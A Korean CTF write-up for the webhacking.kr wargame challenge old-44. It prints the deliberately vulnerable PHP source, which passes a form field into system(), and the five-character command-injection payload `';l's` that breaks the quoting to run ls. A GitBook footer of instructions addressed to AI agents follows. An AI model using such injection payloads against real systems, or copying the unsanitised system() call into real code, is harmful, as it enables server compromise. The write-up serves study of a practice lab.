# old-44 (500)

첫 화면이다.

![](/files/-M228bVKUan9ipNeQvFA)

view-source를 클릭해 본 소스는 아래와 같다.

```php
<?php
  if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<head>
<title>Challenge 44</title>
</head>
<body>
<?php
  if($_POST['id']){
    $id = $_POST['id'];
    $id = substr($id,0,5);
    system("echo 'hello! {$id}'"); // You just need to execute ls
  }
?>
<center>
<form method=post action=index.php name=htmlfrm>
name : <input name=id type=text maxlength=5><input type=submit value='submit'>
</form>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>
```

폼에 `';l's` 를 넣고 제출하니 아래와 같은 창이 뜬다.

![](/files/-M22BDZ3RyvcZIjIq5JG)

아래와 같이 `ls` 와 `l's'` 는 같은 역할을 수행하므로 가능한 것이다.

```bash
/
❯ ls
Applications Users        cores        home         sbin         var
Library      Volumes      dev          opt          tmp
System       bin          etc          private      usr

/
❯ l's'
Applications	Volumes		etc		sbin
Library		bin		home		tmp
System		cores		opt		usr
Users		dev		private		var
```

<http://webhacking.kr:10005/flag_29cbb98dafb4e471117fec409148e9386753569e> 에 접속하면 플래그가 나온다.

![](/files/-M22BqRL8rtC5tbgkDE3)

Auth 창에 플래그를 넣고 제출하면 문제가 풀린다.

![](/files/-M22C9mVSWpPG5zijuTO)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-44-500.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
